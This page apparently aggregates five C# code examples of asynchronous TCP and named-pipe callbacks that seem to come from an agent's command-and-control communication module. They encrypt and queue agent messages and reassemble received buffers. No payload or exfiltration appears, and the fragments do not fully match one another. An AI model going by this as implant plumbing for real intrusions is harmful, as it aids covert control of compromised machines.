Пример #1
0
    private void ClientConnectCallback(IAsyncResult ar)
    {
        Status.Set();

        var client = ar.AsyncState as TcpClient;

        try
        {
            client.EndConnect(ar);

            var stream = client.GetStream();

            var outbound = new AgentMessage {
                Metadata = Metadata
            };

            if (Outbound.Count > 0)
            {
                outbound = Outbound.Dequeue();
            }

            var encrypted = Crypto.Encrypt(outbound);
            var state     = new CommStateObject {
                Handler = client, Worker = stream
            };
            stream.BeginWrite(encrypted, 0, encrypted.Length, new AsyncCallback(ClientWriteCallback), state);
        }
        catch
        {
            // Agent has probably been closed or killed
            ModuleStatus = ModuleStatus.Stopped;
        }
    }
Пример #2
0
    private void ClientWriteCallback(IAsyncResult ar)
    {
        Status.Set();

        var pipe = ar.AsyncState as NamedPipeClientStream;

        pipe.EndWrite(ar);

        var state = new CommStateObject
        {
            Worker = pipe
        };

        pipe.BeginRead(state.Buffer, 0, state.Buffer.Length, new AsyncCallback(ClientReadCallBack), state);
    }
Пример #3
0
    private void ServerConnectCallback(IAsyncResult ar)
    {
        Status.Set();

        var pipe = ar.AsyncState as NamedPipeServerStream;

        pipe.EndWaitForConnection(ar);

        var state = new CommStateObject
        {
            Worker = pipe
        };

        pipe.BeginRead(state.Buffer, 0, state.Buffer.Length, new AsyncCallback(ServerReadCallback), state);
    }
Пример #4
0
    private void AcceptCallback(IAsyncResult ar)
    {
        Status.Set();

        var listener = ar.AsyncState as TcpListener;

        if (ModuleStatus == ModuleStatus.Running)
        {
            var handler = Listener.EndAcceptTcpClient(ar);
            var stream  = handler.GetStream();
            var state   = new CommStateObject {
                Worker = stream
            };
            stream.BeginRead(state.Buffer, 0, state.Buffer.Length, new AsyncCallback(ReadCallback), state);
        }
    }
Пример #5
0
    private byte[] ClientDataJuggle(int bytesRead, NamedPipeClientStream stream, CommStateObject state)
    {
        var final = new byte[] { };

        var dataReceived = state.Buffer.TrimBytes();

        if (bytesRead == state.Buffer.Length)
        {
            if (state.SwapBuffer != null)
            {
                var tmp = state.SwapBuffer;
                state.SwapBuffer = new byte[tmp.Length + dataReceived.Length];
                Buffer.BlockCopy(tmp, 0, state.SwapBuffer, 0, tmp.Length);
                Buffer.BlockCopy(dataReceived, 0, state.SwapBuffer, tmp.Length, dataReceived.Length);
            }
            else
            {
                state.SwapBuffer = new byte[dataReceived.Length];
                Buffer.BlockCopy(dataReceived, 0, state.SwapBuffer, 0, dataReceived.Length);
            }

            Array.Clear(state.Buffer, 0, state.Buffer.Length);
            stream.BeginRead(state.Buffer, 0, state.Buffer.Length, new AsyncCallback(ServerReadCallback), state);
        }
        else
        {
            if (state.SwapBuffer != null)
            {
                final = new byte[state.SwapBuffer.Length + dataReceived.Length];
                Buffer.BlockCopy(state.SwapBuffer, 0, final, 0, state.SwapBuffer.Length);
                Buffer.BlockCopy(dataReceived, 0, final, state.SwapBuffer.Length, dataReceived.Length);
            }
            else
            {
                final = new byte[dataReceived.Length];
                Buffer.BlockCopy(dataReceived, 0, final, 0, dataReceived.Length);
            }
        }

        return(final.TrimBytes());
    }